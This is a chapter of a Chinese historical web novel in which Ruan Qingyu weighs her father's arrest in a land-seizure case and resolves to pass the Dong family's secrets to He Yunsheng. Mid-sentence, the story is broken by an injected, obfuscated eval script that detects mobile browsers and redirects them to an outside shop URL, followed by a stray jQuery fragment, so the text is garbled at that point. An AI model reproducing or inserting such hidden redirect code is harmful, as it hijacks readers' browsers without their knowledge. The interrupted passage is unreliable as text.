这当口,三老爷的案子,真是不好办了。
阮青钰安慰母亲一番,也用处不大。
她知道,虽然三老爷三奶奶夫妻感情不合,但三奶奶是以夫为天的,觉得一个家,始终要男人撑起来。
平日里,三奶奶就是个心中担不了丁点事儿的人。
现在三老爷出了事,是天塌了,她自己将来如何尚且不论,她最担忧的是她的孩子们,若是真的累及家人,瞬间为奴为婢都算好的,若是被弄到见不得人的去处,一辈子也就彻底断送了。
而阮青钰对阮三老爷的感情,有些复杂。
三老爷是阮青钰的亲生父亲,虽然不怎么管教阮青钰,却也不曾苛待,只要三房有的,阮青钰姐妹都有,便是有了四弟弟,也是均分,不曾偏向过谁。
三老爷不顾家,不为家人考虑争取,只顾自己的颜面,只顾自己过得快活,不曾担起作为父亲的责任,但阮青钰却没得选,她只能接受这样的父亲。
不只是三奶奶将三老爷当做一家之主,在世俗的框架中,三老爷确实就是,一旦他出事,不说会不会连累大房二房,首当其冲的势必是三奶奶和阮青钰她们。
阮青钰从三奶奶处出来,一言不发,沉默地回到院子。
她知道,劝是没有用的,三老爷的事情一天没有平,三奶奶就一天吃不下去什么,整个阮家就在观望一天,说不定哪天就将三房分了出去,弃车保帅。
时霜是经历过抄家的,时间也没多久,一下子置身地狱的感觉她是知道的。
她心疼地说:“姑娘别怕,咱们也未必就能到那一步。”
阮青钰没有回应,她在思考,所有的事情看似千头万绪,却实则都有牵连。
她在顺着每一条线,试图找到这一团乱麻的关节所在。
贺云晟和董家斗法,光州府里堆满了大人物,他们在做的事情,一定关系重大。
有人举报三老爷在侵地案中违反律法办理文书,将一块不该给董家的地给了董家,协助董家侵占土地。
县令说光州府正在严查侵地案件。
也就是说,贺云晟来光州很可能是为了查侵地案,董家是被查的对象,在查案过程中发生了什么,贺云晟受了伤,估计和董家脱不了干系。
而这些,和三老爷能有什么关系?
三老爷不过是九品小官,董家这件事他确实参与了,但充其量不过是办理文书的时候松一松手,在衙门中为当地望族办事情,这也是寻常事。
被告发时,三老爷自己甚至都不记得这件事情了。
很明显,告发三老爷的人,只是想借个机会搞掉三老爷,或者是阮家。
如果是冲三老爷来的,能是谁呢?三老爷虽然不顾家,但在外头的场面上,向来谦恭有礼,左右逢源,和什么人都能聊两句。人又面软心善,若是有人托他办事,多少有些情面的,无论贵贱,都给尽力,也不要好处。
知道他的人都说阮三老爷是个善人,在无钱半步难行的衙门算是难得的清流。
这么个人,谁这么想置他于死地呢。
在阮青钰能想到的范围内,只有江念。
如果是这个人,那就是既要三老爷死,也要阮家亡。
这个时机很好,侵地案是能让皇室和重臣撕破脸面的事情,即便是阮三老爷这样无足轻重的小人物,牵涉其中,也很难全身而退。
若是幕后之人操作合宜,借此除掉阮家也不是不可能。
该怎么破局?
阮青钰想到了贺云晟。
如果求助贺云晟,把阮三老爷这种边缘的小角色摘出来,轻而易举。
想到此处,阮青钰闭上眼,长长叹息一声。
她不能啊。
她还要向贺云晟证明她的价值,这种时候,她不能伸手向贺云晟要什么。
她的困境,只能靠她自己去解。
她还欠着贺云晟董家的把柄。
她怎么会知道董家的辛密呢?
因为时间。许多现在是机密的事情,会被时间吹起浮在表面的纱,露出真相,尽人皆知。
上一世阮青钰活了将近四十年,许多事情,她已经知晓。
上到七旬老者,下至三岁孩童,在光州,没有人不知道董家。
董其航曾领兵两万,一路打一路收编,攻治兼施,与其他两路将领配合,扫荡了东南三道缠绵了几十年的海贼匪患,使得受海匪侵犯、民不聊生的东南沿海平静至今。
因常年征战,伤病累加,董其航没办法在前线带兵,就回乡修养,领定远侯爵,居光州府。
董家在光州本就是世代积香,根深叶茂,族众繁多,又出了董其航这样一位大功臣,可谓花团锦簇,烈火烹油。
便是董其航退隐,但战功人脉都在,他本人还是朝中秦阁老的义子,地位超然。
董其航身为侯爵,董家名下的土地,除了有明面上免税的部分,其他的,也有的是不交税的手段。这不是董家一家的做法,江南缙绅都是如此。
可是董家有些不一样,他们兼并土地不知凡几。
一开始董家还有些收敛,买卖土地多按市价,很快,族众纷纷买地,手段就多了起来,不管这地上是不是染了血,只要姓了董就行。
如今,光州府水乡良田,倒四之有一都姓董。
上一世,董家败落是许多年后的事情。
那时,也许没有现在侵地案的事,也许现在这些事情中,贺云晟他们退让了。
总之,董家又兴盛了多年,终于在董其航去世后一败涂地。
董家被清算时,许多案情被传得沸沸扬扬,林深是光州人,他那些朋友特意将他家乡的董家案拿来探讨,说到唏嘘处,不免又叹一回董侯爷一世英名却被家族所累。
钱先生说过阮青钰有个好处,肯留心,记性好。那些事情的梗概和关键所在,阮青钰都记得。
只是,现在董其航还在,秦阁老还势壮,就算把阮青钰所知道的秘密全都交给贺云晟,也不知能不能动摇董家的根本。
阮青钰是要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771499|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
攀上贺云晟这个登云梯,但也不能不考虑家人还要在光州立足。
万一董家挺住了,在光州仍是树大根深,阮家会不会被迁怒?
怎么样,才得两全法?
她忽然想到,如果是江念告发了阮三老爷,他是怎么知道三老爷曾经的事情呢?帮董家办理文书,已经是两年前的事情了,可是连三老爷自己都不记得了的。
三老爷的同僚?不会,三老爷尽把便宜让给别人占,没有同僚会这么恨他。
更何况这样的事情,衙门里,谁手上没几件,谁能禁得住查?现在光州官场鼎沸,谁会蠢到往自己身边添把火,就不怕烧到他自己吗?
还有谁呢?家中的人知道三老爷的事情,二房就很可疑,可是写在族谱上的一家子,俱荣俱损,二房虽然坏,还不至于这么蠢。
但如果,江念就是有办法套住自以为聪明的人做蠢事呢?
如果江念鼓动了二房,他就可以隐在幕后,坐看阮家内斗。若真是这样,倒是和上次在苗六姑娘的事情中利用别人的章法有些相像了。
二房被一墙隔开,有心人一定可以打探到二房与三房的龃龉,二房不正是可利用的好人选。
如果真的是江念操作了这件事情,那他的手段肯定不只是一封告首状。要借此除掉阮家,还会有后招。会是什么呢?
忽然有什么在阮青钰脑子里闪过,她全力去捕捉这一线灵光,猛地睁开眼,原来如此。
不管阮青钰的一切推测正确与否,不管告首状的背后是不是江念,眼下最紧急的事情,不是捞三老爷,而是把董家的把柄送给贺云晟。
阮三老爷的事情本不是大事,只是赶上了这样的时局。既然这件事情可大可小,就不要让幕后做局的人,有可操作的余地。
阮青钰本来打算抻个十天半月再联络贺云晟,为了显示她确实是费了时间用了手段才得到这些消息,她都已经想好得到董家把柄的理由了,准备在贺云晟问她如何得知这些事的时候背一背。
而现在就给他消息,就像是凭空变出来的。
但现在贺云晟一定急需一个口子,好下刀划开董家的屏障,如果不把更脓的疮送给他,只怕阮三老爷这个小破口就要被放到贺云晟面前了。
送三老爷去做这场斗争的引子,才能把阮家炸得粉碎。这恐怕才是那封告首状的深意。
三老爷要被押解到光州狱,今天已经从春晚城出发了。
她没有时间了。
“你现在就去找刘岭,他今天送我们回家,应该还在。叫他偷偷准备好两批马在东角门外等我,跟我去办个差事。”
时霜有些着急,“姑娘,天已经蒙蒙黑了,你现在去哪里?”
“就是要天黑才好行动,白天太容易暴露。不能叫家里知道我出去过。”
时霜忙去了,都没顾得上问阮青钰怎么会骑马。
她换上轻便暗色的男装,那是在青山寺时,让时霜下山去买的。绾了最简单的男子发髻,用一根木簪簪住,摸到了东角门。